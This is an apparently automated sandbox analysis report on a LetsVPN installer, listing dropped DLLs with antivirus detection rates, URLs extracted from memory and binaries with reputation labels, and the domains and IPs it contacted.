C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Primitives.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dll	0%	ReversingLabs
C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
https://g.live.com/odclientsettings/ProdV2.C:	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.certum.pl/CPS0	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://crl.certum.pl/ctnca.crl0k	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://www.symauth.com/cps0(	0%	URL Reputation	safe
http://www.symauth.com/rpa00	0%	URL Reputation	safe
http://foo/Themes/TextBoxDictionary.xaml	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://github.com/myuser/myrepo	0%	Avira URL Cloud	safe
https://www.newtonsoft.com/jsonschema	0%	URL Reputation	safe
https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%B	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamld	0%	Avira URL Cloud	safe
http://foo/Themes/RadioButtonDictionary.xaml	0%	Avira URL Cloud	safe
https://pngimg.com/uploads/light/light_PNG14440.png	0%	Avira URL Cloud	safe
https://nit.crash1ytics.comed0c54f8a56f7e14fa060b39df1db124https://nit.crash1ytics.comy2	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xamld	0%	Avira URL Cloud	safe
https://aka.ms/toolkit/dotnet	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	URL Reputation	safe
http://foo/Themes/TextBoxDictionary.xamld	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://postPost142.242.204.31	0%	Avira URL Cloud	safe
http://foo/Themes/TabControllerDictionary.xaml	0%	Avira URL Cloud	safe
http://foo/bar/themes/textboxdictionary.baml	0%	Avira URL Cloud	safe
http://logging.apache.org/log4net/release/faq.html#trouble-EventLog	0%	Avira URL Cloud	safe
https://nit.crash1ytics.comed0c54f8a56f7e14fa060b39df1db124https://nit.crash1ytics.comapplication/js	0%	Avira URL Cloud	safe
http://foo/bar/themes/appmenudictionary.baml	0%	Avira URL Cloud	safe
https://letsvpn.world/registerterm.html	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produ	0%	Avira URL Cloud	safe
http://foo/bar/themes/tabcontrollerdictionary.bamld	0%	Avira URL Cloud	safe
http://www.hardcodet.net/taskbar	0%	Avira URL Cloud	safe
https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalid	0%	Avira URL Cloud	safe
http://foo/bar/themes/windowdictionary.baml	0%	Avira URL Cloud	safe
http://foo/bar/themes/scrollviewdictionary.bamld	0%	Avira URL Cloud	safe
http://www.isimba.cn0	0%	Avira URL Cloud	safe
https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8262690-special-settings-for-intel-connectivity-	0%	Avira URL Cloud	safe
https://github.com/dotnet/corefx/tree/7ee84596d92e178bce54c986df31ccc52479e772	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/app.xaml	0%	Avira URL Cloud	safe
http://ws-ap1.pusher.com/app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamld	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xaml	0%	Avira URL Cloud	safe
https://debug0.0.0.0%2F0country	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/collections/Killer	0%	Avira URL Cloud	safe
http://schemas.fontawesome.io/icons/	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xaml	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/3081101-adjust-the-settings-for-ipv6	0%	Avira URL Cloud	safe
http://foo/bar/themes/windowdictionary.bamld	0%	Avira URL Cloud	safe
http://foo/Themes/ScrollViewDictionary.xamld	0%	Avira URL Cloud	safe
http://foo/bar/themes/textboxdictionary.bamld	0%	Avira URL Cloud	safe
https://in.appcenter.ms./logs?api-version=1.0.0	0%	Avira URL Cloud	safe
http://wpfanimatedgif.codeplex.com	0%	Avira URL Cloud	safe
http://foo/bar/themes/tabcontrollerdictionary.baml	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/collections/1611781-%E4%B8%AD%E6%96%87%E5%B8%AE%E5%8A%A9	0%	Avira URL Cloud	safe
https://d1dmgcawtbm6l9.cloudfront.net/rest-apiedns_client_subnet=0.0.0.0%2F0&name=d1dmgcawtbm6l9.clo	0%	Avira URL Cloud	safe
http://foo/bar/themes/radiobuttondictionary.bamld	0%	Avira URL Cloud	safe
http://foo/bar/themes/appmenudictionary.bamld	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/app.xamld	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/2926044-what-if-i-reached-maximum-connection-limit	0%	Avira URL Cloud	safe
https://github.com/CommunityToolkit/dotnet	0%	Avira URL Cloud	safe
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://api.github.com/#	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamld	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xaml	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://postPost67.137.174.254	0%	Avira URL Cloud	safe
https://www.catcert.net/verarrel	0%	Avira URL Cloud	safe
https://nit.crash1ytics.com/app32/device	0%	Avira URL Cloud	safe
http://foo/Themes/WindowDictionary.xaml	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/2925752-how-to-download-letsvpn	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/articles/2780068-%E5%A6%82%E4%BD%95%E4%B8%8B%E8%BD%BD%E5%BE%9	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xaml	0%	Avira URL Cloud	safe
https://WSASend0.0.0.0%2F0debugWSARecvl	0%	Avira URL Cloud	safe
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/en/collections/1628560-help-documents	0%	Avira URL Cloud	safe
https://www.cnblogs.com/kliine/p/10950992.html	0%	Avira URL Cloud	safe
http://repository.certum.pl/cscasha2.cer0	0%	Avira URL Cloud	safe
http://foo/app.xamld	0%	Avira URL Cloud	safe
https://letsvpn.world/terms.html	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xamld	0%	Avira URL Cloud	safe
http://foo/bar/app.bamld	0%	Avira URL Cloud	safe
http://foo/bar/themes/radiobuttondictionary.baml	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xaml	0%	Avira URL Cloud	safe
http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xamld	0%	Avira URL Cloud	safe
https://intercom.help/letsvpn-world/-N	0%	Avira URL Cloud	safe
https://letsvpn.world/privacy.html	0%	Avira URL Cloud	safe
http://repository.certum.pl/ctnca.cer0	0%	Avira URL Cloud	safe
http://foo/bar/themes/buttondictionary.baml	0%	Avira URL Cloud	safe
http://foo/Themes/ScrollViewDictionary.xaml	0%	Avira URL Cloud	safe
https://github.com/dotnet/runtime	0%	Avira URL Cloud	safe
https://d1dmgcawtbm6l9.cloudfront.net/rest-api?edns_client_subnet=0.0.0.0%2F0&name=nal.fqoqehwib.com.&type=1	0%	Avira URL Cloud	safe
https://in.appcenter.ms/logs?api-version=1.0.0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
nal.fqoqehwib.com	5.217.108.181	true	false	unknown
www.wshifen.com	103.235.46.96	true	false	unknown
d1dmgcawtbm6l9.cloudfront.net	108.138.24.227	true	false	unknown
socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com	18.139.183.38	true	false	unknown
www.google.com	142.250.185.100	true	false	unknown
nit.crash1ytics.com	67.137.174.254	true	false	unknown
yandex.com	5.255.255.77	true	false	unknown
chr.alipayassets.com	222.91.58.119	true	false	unknown
in.appcenter.ms	unknown	unknown	true	unknown
ws-ap1.pusher.com	unknown	unknown	true	unknown
www.yandex.com	unknown	unknown	true	unknown
www.baidu.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ws-ap1.pusher.com/app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2	false	Avira URL Cloud: safe	unknown
https://d1dmgcawtbm6l9.cloudfront.net/rest-api?edns_client_subnet=0.0.0.0%2F0&name=nal.fqoqehwib.com.&type=1	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/myuser/myrepo	Squirrel.dll.18.dr	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%B	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.comed0c54f8a56f7e14fa060b39df1db124https://nit.crash1ytics.comy2	LetsPRO.exe, 00000037.00000002.3958133511.000000000F51A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pngimg.com/uploads/light/light_PNG14440.png	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/toolkit/dotnet	LetsPRO.exe, 00000037.00000002.3948003758.0000000005B22000.00000002.00000001.01000000.0000001E.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	KLL.exe, 00000000.00000003.2164620642.00000228028B1000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2164646962.0000022800C6A000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.18.dr, System.Runtime.CompilerServices.Unsafe.dll.18.dr, System.Threading.Tasks.Extensions.dll.18.dr, Squirrel.dll.18.dr, System.Security.Cryptography.Xml.dll.18.dr, Microsoft.Web.WebView2.Core.dll.18.dr, System.Console.dll.18.dr, MdXaml.dll.18.dr, System.IO.Ports.dll.18.dr, System.Linq.Parallel.dll.18.dr, System.Security.AccessControl.dll.18.dr, System.ComponentModel.EventBasedAsync.dll.18.dr, System.IO.FileSystem.DriveInfo.dll.18.dr, Microsoft.Web.WebView2.Wpf.dll.18.dr, System.ComponentModel.dll.18.dr, SQLitePCLRaw.nativelibrary.dll.18.dr, SQLitePCLRaw.core.dll.18.dr, System.Memory.dll.18.dr, System.Web.Services.Description.resources.dll4.18.dr	false	URL Reputation: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/TextBoxDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/TextBoxDictionary.xamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/RadioButtonDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://postPost142.242.204.31	LetsPRO.exe, 00000037.00000002.3957395704.000000000F342000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/TabControllerDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://logging.apache.org/log4net/release/faq.html#trouble-EventLog	LetsPRO.exe, 00000044.00000002.2769930251.00000000058E2000.00000002.00000001.01000000.0000001B.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000000C.00000003.2149586526.00000286161F0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://foo/bar/themes/tabcontrollerdictionary.bamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://letsvpn.world/registerterm.html	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.comed0c54f8a56f7e14fa060b39df1db124https://nit.crash1ytics.comapplication/js	LetsPRO.exe, 00000037.00000002.3951347123.000000000F026000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/appmenudictionary.baml	LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/textboxdictionary.baml	LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produ	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hardcodet.net/taskbar	LetsPRO.exe, 00000037.00000002.3970917847.0000000031182000.00000002.00000001.01000000.00000032.sdmp, LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalid	LetsPRO.exe, 00000037.00000002.4065807396.00000000689A9000.00000002.00000001.01000000.00000024.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000016.00000002.2221698842.0000000004769000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2221698842.0000000004757000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2447853373.0000000004861000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://foo/bar/themes/windowdictionary.baml	LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/scrollviewdictionary.bamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.isimba.cn0	uc_ctrl.exe, 00000010.00000003.2193664495.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8262690-special-settings-for-intel-connectivity-	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/corefx/tree/7ee84596d92e178bce54c986df31ccc52479e772	System.IO.Pipes.AccessControl.dll.18.dr	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000019.00000002.2455539910.00000000058CD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3935793905.0000000003BD6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/app.xaml	LetsPRO.exe, 00000044.00000002.2764707557.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035DB000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002DF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://debug0.0.0.0%2F0country	LetsPRO.exe, 00000037.00000002.3954843620.000000000F198000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/collections/Killer	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xaml	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.fontawesome.io/icons/	LetsPRO.exe, 00000037.00000002.3917356410.0000000002821000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://in.appcenter.ms./logs?api-version=1.0.0	LetsPRO.exe, 00000037.00000002.3959182025.000000002F702000.00000002.00000001.01000000.00000027.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/articles/3081101-adjust-the-settings-for-ipv6	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/ScrollViewDictionary.xamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/textboxdictionary.bamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000016.00000002.2221698842.00000000047EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2447853373.0000000004861000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3917356410.0000000002821000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://wpfanimatedgif.codeplex.com	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certum.pl/CPS0	KLL.exe, 00000000.00000000.2056290206.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2219203323.00007FF7B0EDA000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://foo/bar/themes/windowdictionary.bamld	LetsPRO.exe, 00000044.00000002.2764707557.0000000003214000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035E6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002E14000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/collections/1611781-%E4%B8%AD%E6%96%87%E5%B8%AE%E5%8A%A9	LetsPRO.exe, 00000037.00000000.2600482971.0000000000242000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/tabcontrollerdictionary.baml	LetsPRO.exe, 00000048.00000002.2841468405.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://d1dmgcawtbm6l9.cloudfront.net/rest-apiedns_client_subnet=0.0.0.0%2F0&name=d1dmgcawtbm6l9.clo	LetsPRO.exe, 00000037.00000002.3954516398.000000000F14C000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3951347123.000000000F022000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/app.xamld	LetsPRO.exe, 00000044.00000002.2764707557.00000000031F5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2767283527.00000000035DB000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2841468405.0000000002DF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	LetsPRO.exe, 00000037.00000002.3917356410.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000019.00000002.2447853373.00000000049B6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.3917356410.0000000002D5A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
